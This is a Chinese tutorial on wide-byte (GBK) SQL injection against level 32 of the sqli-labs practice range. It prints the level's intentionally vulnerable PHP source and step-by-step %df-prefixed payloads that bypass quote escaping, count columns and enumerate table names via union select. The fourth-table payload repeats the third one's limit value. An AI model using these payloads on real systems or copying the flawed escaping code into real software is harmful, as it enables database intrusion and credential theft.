sql注入–宽字节注入
靶场:sqli-labs-master
下载链接:靶场下载链接
第32关
php源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
分析源代码可以知道
该页面对传入的id进行了过滤,对提交的反斜杠,单引号和双引号都进行了转义
使用gbk进行编码
漏洞原理:1个gbk编码占用2个字节
1个utf-8编码占用3个字节
数据库必须使用gbk编码才存在宽字节注入
利用了gbk两个字节为1个汉字的特点,而有的php程序对输入的单引号进行了转义,即把’转义为 \’ ,而经过url编码后,\被编码为%5c,所以我们可以构造payload将这个%5c吃掉,组成一个gbk对应的汉字编码达到绕过过滤的目的
正常查询:
尝试使用单引号进行闭合
页面回显没有变化,说明’被过滤
对于gbk编码,可以构造payload:
1%df’
原理:1.‘被转义为’ 2.\经过url编码被转义为%5c 3.%5c 与前面的%df组合成 %df%5c 在gbk编码中一个汉字对应两个字节,刚好%df%5c就对应汉字 :誠 ,因此经过解析,查询语句变为了?id=1誠’
页面报错
这样单引号就被闭合了。就可以进行一系列的注入操作
①.获取字段信息
?id =1%df' order by 3 %23
order by 3时有回显,4 时报错,猜解出字段数为3
②.猜解回显点
?id=0%df' union select 1,2,3 %23
2,3为回显点
③.获取数据表名字
第一个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1%23
第二个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1%23
第三个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1%23
第四个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1%23